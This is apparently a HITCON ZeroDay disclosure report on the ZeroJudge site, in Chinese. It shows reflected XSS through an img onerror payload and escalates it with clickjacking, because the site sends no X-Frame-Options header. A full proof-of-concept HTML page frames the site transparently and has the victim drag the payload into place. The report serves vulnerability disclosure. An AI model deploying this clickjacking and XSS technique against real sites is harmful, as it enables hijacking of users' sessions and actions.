ZeroJudge Self XSS to Good XSS via Clickjacking - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2020-00749
  •  發信 Vendor: ZeroJudge
  • Title: ZeroJudge Self XSS to Good XSS via Clickjacking
  • Introduction: 2 Combos

處理狀態

目前狀態

公開
Last Update : 2020/10/26
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2020/08/26 19:41:55 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2020/08/26 19:42:25 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2020/08/26 19:45:07 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2020/08/26 23:18:11 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/08/27 12:27:41 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/08/27 12:27:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/08/27 12:27:41 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/10/26 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2020-00749
  • 通報者:lebr0n_li (wqwfeoipwqjfpwiejfdpioqweoifjqwf)
  • 風險:低
  • 類型:反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)

參考資料

攻擊者可經由該漏洞竊取使用者身份,或進行掛碼、轉址等攻擊行為。

漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

防護原則: OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

防禦繞過方式: OWASP - XSS Filter Evasion Cheat Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://zerojudge.tw/ShowProblem?problemid=anything

敘述

Test on Firefox 80.0

提交含script的tag會被過濾
但其他的不會XD

所以若是提交含xss payload的測試程式碼:
例如:<img src=x onerror=alert(document.domain)>
以除了pascal的方式(應該也可以,宗旨是造成錯誤,且讓錯誤顯示)提交導致編譯錯誤,xss fire!!!!
或自訂含xss payload的資測答案
提交語法正確之程式碼,xss fire!!!

但這只是沒用的self xss
如何提升威脅性呢(一個練習程設網站是會有什麼威脅拉XD)?clickjacking!!!!
因為zero judge沒有設置X-Frame-Options,所以能clickjacking
製作釣魚小遊戲囉

小提醒:
請使用firefox,沒為其它瀏覽器測試,位置好像會跑掉XD
為方便觀看所以poc裡透明度是0.3,可自行更改
復現漏洞時請先在其他分頁登入
drag me是拉著drag me放到B點喔XD(應該還有其他方法誘使使用者輸入,但我還太菜了QQ)
線上測試網址:https://CraftySickTelephones--five-nine.repl.co

POC html:

<html>
<head><title>Poc</title></head>
<body>
<h1>Zerojudge Exam!!!(Solve Robots Test Steps by Steps First)</h1>
<a href="#" style="position:absolute;bottom:131px;left:20px;">A</a>
<a href="#" style="position:absolute;top:80px;left:200px;">B</a>
<a href="#" style="position:absolute;bottom:215px;right:455px;">F</a>
<div qjid="quickjack" style="overflow: hidden; width: 828px; height: 494px; position: relative;" id="cksl6">
<iframe name="cksl7" src="https://zerojudge.tw/ShowProblem?problemid=a001" style="border: 0pt none ; left: -202px; top: -513px; position: absolute; width: 1289px; height: 1137px; opacity: 0.3" scrolling="no"></iframe></div>
<h4>Click A</h4>
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','<img src=x onerror=alert(document.domain)>')"><h4>Drag me to B</h4></div>
<h4>Click F to Finish</h4>
</body>
</html>

總結:蠻不錯的體驗,多瞭解了一些網站的錯誤配置,也終於操作了一次clickjacking XD
cookie設了httponly,不好偷,但或許還是有機會
儘管如此,利用此漏洞,人壞起來還是能做到很多事:)
修一下吧XD

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;